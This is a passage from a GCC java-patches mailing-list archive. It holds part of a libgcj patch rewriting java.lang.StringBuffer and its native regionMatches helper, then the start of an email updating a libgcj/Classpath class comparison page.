* Get the character at the specified index. + * + * @param index the index of the character to get, starting at 0 + * @return the character at the specified index + * @throws IndexOutOfBoundsException if index is negative or >= length() + * (while unspecified, this is a StringIndexOutOfBoundsException) */ - public synchronized void ensureCapacity (int minimumCapacity) - { - if (shared || minimumCapacity > value.length) - { - // We don't want to make a larger vector when `shared' is - // set. If we do, then setLength becomes very inefficient - // when repeatedly reusing a StringBuffer in a loop. - int max = (minimumCapacity > value.length - ? value.length*2+2 - : value.length); - minimumCapacity = (minimumCapacity < max ? max : minimumCapacity); - char[] nb = new char[minimumCapacity]; - System.arraycopy(value, 0, nb, 0, count); - value = nb; - shared = false; - } - } - - // ensureCapacity is used by several synchronized methods in StringBuffer. - // There's no need to synchronize again. - private void ensureCapacity_unsynchronized (int minimumCapacity) + public synchronized char charAt(int index) { - if (shared || minimumCapacity > value.length) - { - // We don't want to make a larger vector when `shared' is - // set. If we do, then setLength becomes very inefficient - // when repeatedly reusing a StringBuffer in a loop. - int max = (minimumCapacity > value.length - ? value.length*2+2 - : value.length); - minimumCapacity = (minimumCapacity < max ? max : minimumCapacity); - char[] nb = new char[minimumCapacity]; - System.arraycopy(value, 0, nb, 0, count); - value = nb; - shared = false; - } + if (index < 0 || index >= count) + throw new StringIndexOutOfBoundsException(index); + return value[index]; } /** @@ -332,397 +250,652 @@ System.arraycopy(value, srcOffset, dst, dstOffset, todo); } - /** Insert the String value of the argument into this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param offset the place to insert. - * @param bool the boolean to convert and insert. - * @return this StringBuffer. - * @exception IndexOutOfBoundsException if offset is out - * of range for this StringBuffer. - * @see java.lang.String#valueOf(boolean) - */ - public StringBuffer insert (int offset, boolean bool) - { - return insert (offset, bool ? "true" : "false"); - } - - /** Insert the char argument into this StringBuffer. - * @param offset the place to insert. - * @param ch the char to insert. - * @return this StringBuffer. - * @exception IndexOutOfBoundsException if offset is out - * of range for this StringBuffer. + /** + * Set the character at the specified index. + * + * @param index the index of the character to set starting at 0 + * @param ch the value to set that character to + * @throws IndexOutOfBoundsException if index is negative or >= length() + * (while unspecified, this is a StringIndexOutOfBoundsException) */ - public synchronized StringBuffer insert (int offset, char ch) + public synchronized void setCharAt(int index, char ch) { - if (offset < 0 || offset > count) - throw new StringIndexOutOfBoundsException (offset); - ensureCapacity_unsynchronized (count+1); - System.arraycopy(value, offset, value, offset+1, count-offset); - value[offset] = ch; - count++; - return this; + if (index < 0 || index >= count) + throw new StringIndexOutOfBoundsException(index); + // Call ensureCapacity to enforce copy-on-write. + ensureCapacity_unsynchronized(count); + value[index] = ch; } - /** Insert the String value of the argument into this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param offset the place to insert. - * @param inum the int to convert and insert. - * @return this StringBuffer. - * @exception IndexOutOfBoundsException if offset is out - * of range for this StringBuffer. - * @see java.lang.String#valueOf(int) + /** + * Append the String value of the argument to this + * StringBuffer. Uses String.valueOf() to convert + * to String. + * + * @param obj the Object to convert and append + * @return this StringBuffer + * @see String#valueOf(Object) + * @see #append(String) */ - public StringBuffer insert (int offset, int inum) + public StringBuffer append(Object obj) { - return insert (offset, String.valueOf(inum)); + return append(obj == null ? "null" : obj.toString()); } - /** Insert the String value of the argument into this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param offset the place to insert. - * @param lnum the long to convert and insert. - * @return this StringBuffer. - * @exception IndexOutOfBoundsException if offset is out - * of range for this StringBuffer. - * @see java.lang.String#valueOf(long) + /** + * Append the String to this StringBuffer. If + * str is null, the String "null" is appended. + * + * @param str the String to append + * @return this StringBuffer */ - public StringBuffer insert (int offset, long lnum) + public synchronized StringBuffer append(String str) { - return insert (offset, String.valueOf(lnum)); + if (str == null) + str = "null"; + int len = str.count; + ensureCapacity_unsynchronized(count + len); + str.getChars(0, len, value, count); + count += len; + return this; } - /** Insert the String value of the argument into this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param offset the place to insert. - * @param fnum the float to convert and insert. - * @return this StringBuffer. - * @exception IndexOutOfBoundsException if offset is out - * of range for this StringBuffer. - * @see java.lang.String#valueOf(float) + /** + * Append the StringBuffer value of the argument to this + * StringBuffer. This behaves the same as + * append((Object) stringBuffer), except it is more efficient. + * + * @param stringBuffer the StringBuffer to convert and append + * @return this StringBuffer + * @see #append(Object) + * @since 1.4 + */ + public synchronized StringBuffer append(StringBuffer stringBuffer) + { + if (stringBuffer == null) + return append("null"); + synchronized (stringBuffer) + { + int len = stringBuffer.count; + ensureCapacity_unsynchronized(count + len); + System.arraycopy(stringBuffer.value, 0, value, count, len); + count += len; + } + return this; + } + + /** + * Append the char array to this StringBuffer. + * This is similar (but more efficient) than + * append(new String(data)), except in the case of null. + * + * @param data the char[] to append + * @return this StringBuffer + * @throws NullPointerException if str is null + * @see #append(char[], int, int) */ - public StringBuffer insert (int offset, float fnum) + public StringBuffer append(char[] data) { - return insert (offset, String.valueOf(fnum)); + return append(data, 0, data.length); } - /** Insert the String value of the argument into this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param offset the place to insert. - * @param dnum the double to convert and insert. - * @return this StringBuffer. - * @exception IndexOutOfBoundsException if offset is out - * of range for this StringBuffer. - * @see java.lang.String#valueOf(double) + /** + * Append part of the char array to this + * StringBuffer. This is similar (but more efficient) than + * append(new String(data, offset, count)), except in the case + * of null. + * + * @param data the char[] to append + * @param offset the start location in str + * @param count the number of characters to get from str + * @return this StringBuffer + * @throws NullPointerException if str is null + * @throws IndexOutOfBoundsException if offset or count is out of range + * (while unspecified, this is a StringIndexOutOfBoundsException) */ - public StringBuffer insert (int offset, double dnum) + public synchronized StringBuffer append(char[] data, int offset, int count) { - return insert (offset, String.valueOf(dnum)); + ensureCapacity_unsynchronized(this.count + count); + System.arraycopy(data, offset, value, this.count, count); + this.count += count; + return this; } - /** Insert the String value of the argument into this StringBuffer. - * Uses String.valueOf() to convert to - * String. - * @param offset the place to insert. - * @param obj the Object to convert and insert. - * @return this StringBuffer. - * @exception IndexOutOfBoundsException if offset is out - * of range for this StringBuffer. - * @see java.lang.String#valueOf(java.lang.Object) + /** + * Append the String value of the argument to this + * StringBuffer. Uses String.valueOf() to convert + * to String. + * + * @param bool the boolean to convert and append + * @return this StringBuffer + * @see String#valueOf(boolean) */ - public StringBuffer insert (int offset, Object obj) + public StringBuffer append(boolean bool) { - return insert (offset, String.valueOf(obj)); + return append(bool ? "true" : "false"); } - /** Insert the String argument into this StringBuffer. - * @param offset the place to insert. - * @param str the String to insert. - * @return this StringBuffer. - * @exception IndexOutOfBoundsException if offset is out - * of range for this StringBuffer. + /** + * Append the char to this StringBuffer. + * + * @param c the char to append + * @return this StringBuffer */ - public synchronized StringBuffer insert (int offset, String str) + public synchronized StringBuffer append(char ch) { - if (offset < 0 || offset > count) - throw new StringIndexOutOfBoundsException (offset); - // Note that using `null' is from JDK 1.2. - if (str == null) - str = "null"; - int len = str.length(); - ensureCapacity_unsynchronized (count+len); - System.arraycopy(value, offset, value, offset+len, count-offset); - str.getChars(0, len, value, offset); - count += len; + ensureCapacity_unsynchronized(count + 1); + value[count++] = ch; return this; } - /** Insert the char[] argument into this - * StringBuffer. - * @param offset the place to insert. - * @param data the char[] to insert. - * @return this StringBuffer. - * @exception NullPointerException if data is - * null. - * @exception IndexOutOfBoundsException if offset is out - * of range for this StringBuffer. - */ - public StringBuffer insert (int offset, char[] data) - { - // One could check if offset is invalid here instead of making sure that - // data isn't null before dereferencing, but this works just as well. - return insert (offset, data, 0, data == null ? 0 : data.length); - } - - /** Insert the char[] argument into this - * StringBuffer. - * @param offset the place to insert. - * @param str the char[] to insert. - * @param str_offset the index in str to start inserting - * from. - * @param len the number of characters to insert. - * @return this StringBuffer. - * @exception NullPointerException if str is null. - * @exception IndexOutOfBoundsException if offset is out - * of range, for this StringBuffer, or if - * str_offset or str_offset+len - * are out of range for str. + /** + * Append the String value of the argument to this + * StringBuffer. Uses String.valueOf() to convert + * to String. + * + * @param inum the int to convert and append + * @return this StringBuffer + * @see String#valueOf(int) + */ + // GCJ LOCAL: this is native for efficiency. + public native StringBuffer append (int inum); + + /** + * Append the String value of the argument to this + * StringBuffer. Uses String.valueOf() to convert + * to String. + * + * @param lnum the long to convert and append + * @return this StringBuffer + * @see String#valueOf(long) */ - public synchronized StringBuffer insert(int offset, char[] str, - int str_offset, int len) + public StringBuffer append(long lnum) { - if (offset < 0 || offset > count) - throw new StringIndexOutOfBoundsException (offset); - if (len < 0) - throw new StringIndexOutOfBoundsException (len); - if (str_offset < 0 || str_offset + len > str.length) - throw new StringIndexOutOfBoundsException (str_offset); - ensureCapacity_unsynchronized (count + len); - System.arraycopy(value, offset, value, offset + len, count - offset); - System.arraycopy(str, str_offset, value, offset, len); - count += len; + return append(Long.toString(lnum, 10)); + } + + /** + * Append the String value of the argument to this + * StringBuffer. Uses String.valueOf() to convert + * to String. + * + * @param fnum the float to convert and append + * @return this StringBuffer + * @see String#valueOf(float) + */ + public StringBuffer append(float fnum) + { + return append(Float.toString(fnum)); + } + + /** + * Append the String value of the argument to this + * StringBuffer. Uses String.valueOf() to convert + * to String. + * + * @param dnum the double to convert and append + * @return this StringBuffer + * @see String#valueOf(double) + */ + public StringBuffer append(double dnum) + { + return append(Double.toString(dnum)); + } + + /** + * Delete characters from this StringBuffer. + * delete(10, 12) will delete 10 and 11, but not 12. It is + * harmless for end to be larger than length(). + * + * @param start the first character to delete + * @param end the index after the last character to delete + * @return this StringBuffer + * @throws StringIndexOutOfBoundsException if start or end are out of bounds + * @since 1.2 + */ + public synchronized StringBuffer delete(int start, int end) + { + if (start < 0 || start > count || start > end) + throw new StringIndexOutOfBoundsException(start); + if (end > count) + end = count; + // This will unshare if required. + ensureCapacity_unsynchronized(count); + if (count - end != 0) + System.arraycopy(value, end, value, start, count - end); + count -= end - start; return this; } - /** Get the length of the String this - * StringBuffer would create. Not to be confused with the - * capacity of the StringBuffer. - * @return the length of this StringBuffer. - * @see #capacity() - * @see #setLength(int) + /** + * Delete a character from this StringBuffer. + * + * @param index the index of the character to delete + * @return this StringBuffer + * @throws StringIndexOutOfBoundsException if index is out of bounds + * @since 1.2 */ - public int length () + public StringBuffer deleteCharAt(int index) { - return count; + return delete(index, index + 1); } - /** Replace characters between index start (inclusive) and - * end (exclusive) with str. If end - * is larger than the size of this StringBuffer, all characters after - * start are replaced. - * @param start the beginning index of characters to delete (inclusive). - * @param end the ending index of characters to delete (exclusive). - * @param str the new String to insert. - * @return this StringBuffer. + /** + * Replace characters between index start (inclusive) and + * end (exclusive) with str. If end + * is larger than the size of this StringBuffer, all characters after + * start are replaced. + * + * @param start the beginning index of characters to delete (inclusive) + * @param end the ending index of characters to delete (exclusive) + * @param str the new String to insert + * @return this StringBuffer + * @throws StringIndexOutOfBoundsException if start or end are out of bounds + * @throws NullPointerException if str is null + * @since 1.2 */ - public synchronized StringBuffer replace (int start, int end, String str) + public synchronized StringBuffer replace(int start, int end, String str) { if (start < 0 || start > count || start > end) - throw new StringIndexOutOfBoundsException (start); - - int len = str.length(); + throw new StringIndexOutOfBoundsException(start); + + int len = str.count; // Calculate the difference in 'count' after the replace. - int delta = len - ((end > count ? count : end) - start); - ensureCapacity_unsynchronized (count + delta); - + int delta = len - (end > count ? count : end) + start; + ensureCapacity_unsynchronized(count + delta); + if (delta != 0 && end < count) System.arraycopy(value, end, value, end + delta, count - end); - - str.getChars (0, len, value, start); - count += delta; - return this; + + str.getChars(0, len, value, start); + count += delta; + return this; } - /** Reverse the characters in this StringBuffer. - * @return this StringBuffer. + /** + * Creates a substring of this StringBuffer, starting at a specified index + * and ending at the end of this StringBuffer. + * + * @param beginIndex index to start substring (base 0) + * @return new String which is a substring of this StringBuffer + * @throws StringIndexOutOfBoundsException if beginIndex is out of bounds + * @see #substring(int, int) + * @since 1.2 */ - public synchronized StringBuffer reverse () + public String substring(int beginIndex) { - // Call ensureCapacity to enforce copy-on-write. - ensureCapacity_unsynchronized (count); - for (int i = 0; i < count / 2; ++i) - { - char c = value[i]; - value[i] = value[count - i - 1]; - value[count - i - 1] = c; - } - return this; + return substring(beginIndex, count); } - /** Set the character at the specified index. - * @param index the index of the character to set starting at 0. - * @param ch the value to set that character to. - * @exception IndexOutOfBoundsException if the specified character - * index is not between 0 and length() - 1 (inclusive). + /** + * Creates a substring of this StringBuffer, starting at a specified index + * and ending at one character before a specified index. This is implemented + * the same as substring(beginIndex, endIndex), to satisfy + * the CharSequence interface. + * + * @param beginIndex index to start at (inclusive, base 0) + * @param endIndex index to end at (exclusive) + * @return new String which is a substring of this StringBuffer + * @throws IndexOutOfBoundsException if beginIndex or endIndex is out of + * bounds + * @see #substring(int, int) + * @since 1.4 */ - public synchronized void setCharAt (int index, char ch) + public CharSequence subSequence(int beginIndex, int endIndex) { - if (index < 0 || index >= count) - throw new StringIndexOutOfBoundsException (index); - // Call ensureCapacity to enforce copy-on-write. - ensureCapacity_unsynchronized (count); - value[index] = ch; + return substring(beginIndex, endIndex); } - /** Set the length of this StringBuffer. - *

          - * If the new length is greater than the current length, all the new - * characters are set to '\0'. - *

          - * If the new length is less than the current length, the first - * newLength characters of the old array will be - * @param newLength the new length - * @exception IndexOutOfBoundsException if the new length is - * negative. - * @see #length() + /** + * Creates a substring of this StringBuffer, starting at a specified index + * and ending at one character before a specified index. + * + * @param beginIndex index to start at (inclusive, base 0) + * @param endIndex index to end at (exclusive) + * @return new String which is a substring of this StringBuffer + * @throws StringIndexOutOfBoundsException if beginIndex or endIndex is out + * of bounds + * @since 1.2 */ - public synchronized void setLength (int newLength) + public synchronized String substring(int beginIndex, int endIndex) { - if (newLength < 0) - throw new StringIndexOutOfBoundsException (newLength); + int len = endIndex - beginIndex; + if (beginIndex < 0 || endIndex > count || len < 0) + throw new StringIndexOutOfBoundsException(); + if (len == 0) + return ""; + // Share the char[] unless 3/4 empty. + shared = (len << 2) >= value.length; + // Package constructor avoids an array copy. + return new String(value, beginIndex, len, shared); + } - ensureCapacity_unsynchronized (newLength); - for (int i = count; i < newLength; ++i) - value[i] = '\0'; - count = newLength; + /** + * Insert a subarray of the char[] argument into this + * StringBuffer. + * + * @param offset the place to insert in this buffer + * @param str the char[] to insert + * @param str_offset the index in str to start inserting from + * @param len the number of characters to insert + * @return this StringBuffer + * @throws NullPointerException if str is null + * @throws StringIndexOutOfBoundsException if any index is out of bounds + * @since 1.2 + */ + public synchronized StringBuffer insert(int offset, + char[] str, int str_offset, int len) + { + if (offset < 0 || offset > count || len < 0 + || str_offset < 0 || str_offset + len > str.length) + throw new StringIndexOutOfBoundsException(); + ensureCapacity_unsynchronized(count + len); + System.arraycopy(value, offset, value, offset + len, count - offset); + System.arraycopy(str, str_offset, value, offset, len); + count += len; + return this; } - /** Create a new StringBuffer with default capacity 16. - * @see JLS 20.13.1 + /** + * Insert the String value of the argument into this + * StringBuffer. Uses String.valueOf() to convert + * to String. + * + * @param offset the place to insert in this buffer + * @param obj the Object to convert and insert + * @return this StringBuffer + * @exception StringIndexOutOfBoundsException if offset is out of bounds + * @see String#valueOf(Object) */ - public StringBuffer () + public StringBuffer insert(int offset, Object obj) { - this (DEFAULT_CAPACITY); + return insert(offset, obj == null ? "null" : obj.toString()); } - /** Create an empty StringBuffer with the specified initial capacity. - * @param capacity the initial capacity. + /** + * Insert the String argument into this + * StringBuffer. If str is null, the String "null" is used + * instead. + * + * @param offset the place to insert in this buffer + * @param str the String to insert + * @return this StringBuffer + * @throws StringIndexOutOfBoundsException if offset is out of bounds */ - public StringBuffer (int capacity) + public synchronized StringBuffer insert(int offset, String str) { - count = 0; - value = new char[capacity]; - shared = false; + if (offset < 0 || offset > count) + throw new StringIndexOutOfBoundsException(offset); + if (str == null) + str = "null"; + int len = str.count; + ensureCapacity_unsynchronized(count + len); + System.arraycopy(value, offset, value, offset + len, count - offset); + str.getChars(0, len, value, offset); + count += len; + return this; } - /** Create a new StringBuffer with the characters in the specified String. - * Initial capacity will be the size of the String plus 16. - * @param str the String to make a StringBuffer out of. - * @XXX optimize for sharing. - */ - public StringBuffer (String str) - { - // The documentation is not clear, but experimentation with - // other implementations indicates that StringBuffer(null) - // should throw a NullPointerException. - count = str.length(); - // JLS: The initial capacity of the string buffer is 16 plus the - // length of the argument string. - value = new char[count + DEFAULT_CAPACITY]; - str.getChars(0, count, value, 0); - shared = false; + /** + * Insert the char[] argument into this + * StringBuffer. + * + * @param offset the place to insert in this buffer + * @param data the char[] to insert + * @return this StringBuffer + * @throws NullPointerException if data is null + * @throws StringIndexOutOfBoundsException if offset is out of bounds + * @see #insert(int, char[], int, int) + */ + public StringBuffer insert(int offset, char[] data) + { + return insert(offset, data, 0, data.length); } /** - * Creates a substring of this StringBuffer, starting at a specified index - * and ending at the end of this StringBuffer. + * Insert the String value of the argument into this + * StringBuffer. Uses String.valueOf() to convert + * to String. * - * @param beginIndex index to start substring (base 0) - * - * @return new String which is a substring of this StringBuffer + * @param offset the place to insert in this buffer + * @param bool the boolean to convert and insert + * @return this StringBuffer + * @throws StringIndexOutOfBoundsException if offset is out of bounds + * @see String#valueOf(boolean) + */ + public StringBuffer insert(int offset, boolean bool) + { + return insert(offset, bool ? "true" : "false"); + } + + /** + * Insert the char argument into this StringBuffer. * - * @exception StringIndexOutOfBoundsException - * if (beginIndex < 0 || beginIndex > this.length()) + * @param offset the place to insert in this buffer + * @param ch the char to insert + * @return this StringBuffer + * @throws StringIndexOutOfBoundsException if offset is out of bounds */ - public String substring (int beginIndex) + public synchronized StringBuffer insert(int offset, char ch) { - return substring (beginIndex, count); + if (offset < 0 || offset > count) + throw new StringIndexOutOfBoundsException(offset); + ensureCapacity_unsynchronized(count + 1); + System.arraycopy(value, offset, value, offset + 1, count - offset); + value[offset] = ch; + count++; + return this; } /** - * Creates a substring of this StringBuffer, starting at a specified index - * and ending at one character before a specified index. + * Insert the String value of the argument into this + * StringBuffer. Uses String.valueOf() to convert + * to String. * - * @param beginIndex index to start substring (base 0) - * @param endIndex index after the last character to be - * copied into the substring - * - * @return new String which is a substring of this StringBuffer + * @param offset the place to insert in this buffer + * @param inum the int to convert and insert + * @return this StringBuffer + * @throws StringIndexOutOfBoundsException if offset is out of bounds + * @see String#valueOf(int) + */ + public StringBuffer insert(int offset, int inum) + { + return insert(offset, String.valueOf(inum)); + } + + /** + * Insert the String value of the argument into this + * StringBuffer. Uses String.valueOf() to convert + * to String. * - * @exception StringIndexOutOfBoundsException - * if (beginIndex < 0 || endIndex > this.length() || beginIndex > endIndex) + * @param offset the place to insert in this buffer + * @param lnum the long to convert and insert + * @return this StringBuffer + * @throws StringIndexOutOfBoundsException if offset is out of bounds + * @see String#valueOf(long) */ - public synchronized String substring (int beginIndex, int endIndex) + public StringBuffer insert(int offset, long lnum) { - if (beginIndex < 0 || endIndex > count || beginIndex > endIndex) - throw new StringIndexOutOfBoundsException (); - // FIXME: for libgcj it would be possible, and more efficient, to - // enable sharing here. - return new String (value, beginIndex, endIndex - beginIndex); + return insert(offset, Long.toString(lnum, 10)); } /** - * Creates a substring of this StringBuffer, starting at a specified index - * and ending at one character before a specified index. - *

          - * To implement CharSequence. - * Calls substring(beginIndex, endIndex). + * Insert the String value of the argument into this + * StringBuffer. Uses String.valueOf() to convert + * to String. * - * @param beginIndex index to start substring (base 0) - * @param endIndex index after the last character to be - * copied into the substring - * - * @return new String which is a substring of this StringBuffer + * @param offset the place to insert in this buffer + * @param fnum the float to convert and insert + * @return this StringBuffer + * @throws StringIndexOutOfBoundsException if offset is out of bounds + * @see String#valueOf(float) + */ + public StringBuffer insert(int offset, float fnum) + { + return insert(offset, Float.toString(fnum)); + } + + /** + * Insert the String value of the argument into this + * StringBuffer. Uses String.valueOf() to convert + * to String. * - * @exception StringIndexOutOfBoundsException - * if (beginIndex < 0 || endIndex > this.length() || beginIndex > endIndex) + * @param offset the place to insert in this buffer + * @param dnum the double to convert and insert + * @return this StringBuffer + * @throws StringIndexOutOfBoundsException if offset is out of bounds + * @see String#valueOf(double) */ - public CharSequence subSequence (int beginIndex, int endIndex) + public StringBuffer insert(int offset, double dnum) { - return substring(beginIndex, endIndex); + return insert(offset, Double.toString(dnum)); } + /** + * Finds the first instance of a substring in this StringBuffer. + * + * @param str String to find + * @return location (base 0) of the String, or -1 if not found + * @throws NullPointerException if str is null + * @see #indexOf(String, int) + * @since 1.4 + */ + public int indexOf(String str) + { + return indexOf(str, 0); + } - /** Convert this StringBuffer to a String. - * @return the characters in this StringBuffer + /** + * Finds the first instance of a String in this StringBuffer, starting at + * a given index. If starting index is less than 0, the search starts at + * the beginning of this String. If the starting index is greater than the + * length of this String, or the substring is not found, -1 is returned. + * + * @param str String to find + * @param fromIndex index to start the search + * @return location (base 0) of the String, or -1 if not found + * @throws NullPointerException if str is null + * @since 1.4 + */ + public synchronized int indexOf(String str, int fromIndex) + { + if (fromIndex < 0) + fromIndex = 0; + int limit = count - str.count; + for ( ; fromIndex <= limit; fromIndex++) + if (regionMatches(fromIndex, str)) + return fromIndex; + return -1; + } + + /** + * Finds the last instance of a substring in this StringBuffer. + * + * @param str String to find + * @return location (base 0) of the String, or -1 if not found + * @throws NullPointerException if str is null + * @see #lastIndexOf(String, int) + * @since 1.4 */ - public String toString () + public int lastIndexOf(String str) { - // Note: in libgcj this causes the StringBuffer to be shared. In - // Classpath it does not. - return new String (this); + return lastIndexOf(str, count - str.count); } - // Index of next available character. Note that this has - // permissions set this way so that String can get the value. - int count; + /** + * Finds the last instance of a String in this StringBuffer, starting at a + * given index. If starting index is greater than the maximum valid index, + * then the search begins at the end of this String. If the starting index + * is less than zero, or the substring is not found, -1 is returned. + * + * @param str String to find + * @param fromIndex index to start the search + * @return location (base 0) of the String, or -1 if not found + * @throws NullPointerException if str is null + * @since 1.4 + */ + public synchronized int lastIndexOf(String str, int fromIndex) + { + fromIndex = Math.min(fromIndex, count - str.count); + for ( ; fromIndex >= 0; fromIndex--) + if (regionMatches(fromIndex, str)) + return fromIndex; + return -1; + } - // The buffer. Note that this has permissions set this way so that - // String can get the value. - char[] value; + /** + * Reverse the characters in this StringBuffer. The same sequence of + * characters exists, but in the reverse index ordering. + * + * @return this StringBuffer + */ + public synchronized StringBuffer reverse() + { + // Call ensureCapacity to enforce copy-on-write. + ensureCapacity_unsynchronized(count); + for (int i = count >> 1, j = count - i; --i >= 0; ++j) + { + char c = value[i]; + value[i] = value[j]; + value[j] = c; + } + return this; + } - // True if we need to copy the buffer before writing to it again. - // FIXME: JDK 1.2 doesn't specify this. The new buffer-growing - // semantics make this less useful in that case, too. Note that - // this has permissions set this way so that String can get the - // value. - boolean shared; + /** + * Convert this StringBuffer to a String. The + * String is composed of the characters currently in this StringBuffer. Note + * that the result is a copy, and that future modifications to this buffer + * do not affect the String. + * + * @return the characters in this StringBuffer + */ + public String toString() + { + // The string will set this.shared = true. + return new String(this); + } + + /** + * An unsynchronized version of ensureCapacity, used internally to avoid + * the cost of a second lock on the same object. This also has the side + * effect of duplicating the array, if it was shared (to form copy-on-write + * semantics). + * + * @param minimumCapacity the minimum capacity + * @see #ensureCapacity(int) + */ + private void ensureCapacity_unsynchronized(int minimumCapacity) + { + if (shared || minimumCapacity > value.length) + { + // We don't want to make a larger vector when `shared' is + // set. If we do, then setLength becomes very inefficient + // when repeatedly reusing a StringBuffer in a loop. + int max = (minimumCapacity > value.length + ? value.length * 2 + 2 + : value.length); + minimumCapacity = (minimumCapacity < max ? max : minimumCapacity); + char[] nb = new char[minimumCapacity]; + System.arraycopy(value, 0, nb, 0, count); + value = nb; + shared = false; + } + } - static final long serialVersionUID = 3388685877147921107L; - private final static int DEFAULT_CAPACITY = 16; // JLS 20.13.1 + /** + * Predicate which determines if a substring of this matches another String + * starting at a specified offset for each String and continuing for a + * specified length. This is more efficient than creating a String to call + * indexOf on. + * + * @param toffset index to start comparison at for this String + * @param other non-null String to compare to region of this + * @return true if regions match, false otherwise + * @see #indexOf(String, int) + * @see #lastIndexOf(String, int) + * @see String#regionMatches(boolean, int, String, int, int) + */ + // GCJ LOCAL: native for gcj. + private native boolean regionMatches(int toffset, String other); } Index: java/lang/natStringBuffer.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natStringBuffer.cc,v retrieving revision 1.1 diff -u -r1.1 natStringBuffer.cc --- java/lang/natStringBuffer.cc 22 May 2001 04:38:35 -0000 1.1 +++ java/lang/natStringBuffer.cc 24 Mar 2003 00:47:48 -0000 @@ -1,6 +1,6 @@ // natStringBuffer.cc - Implementation of java.lang.StringBuffer native methods. -/* Copyright (C) 2001 Free Software Foundation +/* Copyright (C) 2001, 2003 Free Software Foundation This file is part of libgcj. @@ -27,4 +27,16 @@ *dst++ = *src++; count = needed; return this; +} + +jboolean +java::lang::StringBuffer::regionMatches(jint toffset, jstring other) +{ + jint len = other->count; + jchar *tptr = elements(value) + toffset; + jchar *optr = JvGetStringChars(other); + while (--len >= 0) + if (*tptr++ != *optr++) + return false; + return true; } From java-patches-return-6570-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 00:56:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31242 invoked by alias); 24 Mar 2003 00:56:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31227 invoked from network); 24 Mar 2003 00:56:07 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 24 Mar 2003 00:56:07 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA06325; Sun, 23 Mar 2003 17:56:05 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AD1C14F8610; Sun, 23 Mar 2003 17:52:20 -0700 (MST) To: Gcc Patch List Cc: GCC libjava patches Subject: Patch: FYI: classpath comparison From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I smell a RANCID CORN DOG! Date: 23 Mar 2003 17:52:20 -0700 Message-ID: <87znnl4md7.fsf@fleche.redhat.com> Lines: 154 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. Another automated classpath comparison. Tom Index: ChangeLog from Tom Tromey * libgcj-classpath-compare.html: Rebuilt. Index: libgcj-classpath-compare.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/libgcj-classpath-compare.html,v retrieving revision 1.64 diff -u -r1.64 libgcj-classpath-compare.html --- libgcj-classpath-compare.html 12 Mar 2003 18:27:07 -0000 1.64 +++ libgcj-classpath-compare.html 24 Mar 2003 00:55:37 -0000 @@ -8,7 +8,7 @@

          This page compares the "current" cvs libgcj against the "current" cvs Classpath. It was generated using the gen-classpath-compare script (available in gcc cvs repository in wwwdocs/bin/) on -2003-03-12. +2003-03-23. This table intentionally omits certain classes which are not of interest. If the third column shows a "Diff" link, then that means the script believes that the class has been merged, but a difference @@ -21,8 +21,6 @@ gnu.java.awt.image.GdkPixbufDecoder No Yes No gnu.java.awt.image.GtkOffScreenDecoder No Yes No gnu.java.awt.peer.gtk.GtkToolkit Yes Yes Diff - gnu.java.nio.CharBufferImpl Yes Yes Diff - gnu.java.nio.DatagramChannelImpl Yes Yes Diff gnu.java.nio.FileChannelImpl Yes Yes Diff gnu.java.nio.MappedByteFileBuffer Yes Yes Diff gnu.java.nio.MappedCharFileBuffer No Yes No @@ -31,11 +29,8 @@ gnu.java.nio.MappedIntFileBuffer No Yes No gnu.java.nio.MappedLongFileBuffer No Yes No gnu.java.nio.MappedShortFileBuffer No Yes No - gnu.java.nio.SelectionKeyImpl Yes Yes Diff gnu.java.nio.SelectorImpl Yes Yes Diff - gnu.java.nio.SelectorProviderImpl Yes Yes Diff gnu.java.nio.ServerSocketChannelImpl Yes Yes Diff - gnu.java.nio.SocketChannelImpl Yes Yes Diff gnu.javax.rmi.CORBA.DelegateFactory No Yes No gnu.javax.rmi.CORBA.GetDelegateInstanceException No Yes No gnu.javax.rmi.CORBA.PortableRemoteObjectDelegateImpl No Yes No @@ -44,49 +39,22 @@ gnu.javax.rmi.CORBA.ValueHandlerImpl No Yes No gnu.javax.rmi.PortableServer No Yes No java.awt.Toolkit Yes Yes Diff - java.beans.beancontext.BeanContextServicesSupport Yes No Yes - java.beans.beancontext.BeanContextSupport Yes No Yes - java.io.BufferedOutputStream Yes Yes Diff - java.io.BufferedReader Yes Yes Diff - java.io.BufferedWriter Yes Yes Diff - java.io.ByteArrayOutputStream Yes Yes Diff - java.io.DataInput Yes Yes Diff + java.awt.dnd.DropTarget Yes Yes Diff + java.awt.dnd.DropTargetContext Yes Yes Diff java.io.DataInputStream Yes Yes Diff - java.io.DataOutput Yes Yes Diff - java.io.DataOutputStream Yes Yes No - java.io.Externalizable Yes Yes Diff - java.io.File Yes Yes No + java.io.DataOutputStream Yes Yes Diff + java.io.File Yes Yes Diff java.io.FileDescriptor Yes Yes No - java.io.FileFilter Yes Yes Diff - java.io.FileInputStream Yes Yes No - java.io.FileOutputStream Yes Yes No - java.io.FilePermission Yes Yes Diff - java.io.FileReader Yes Yes Diff - java.io.FileWriter Yes Yes Diff - java.io.FilenameFilter Yes Yes Diff - java.io.FilterInputStream Yes Yes Diff - java.io.FilterOutputStream Yes Yes Diff - java.io.FilterReader Yes Yes Diff - java.io.FilterWriter Yes Yes Diff - java.io.InputStreamReader Yes Yes No - java.io.LineNumberReader Yes Yes No - java.io.ObjectInput Yes Yes Diff + java.io.FileInputStream Yes Yes Diff + java.io.FileOutputStream Yes Yes Diff + java.io.InputStreamReader 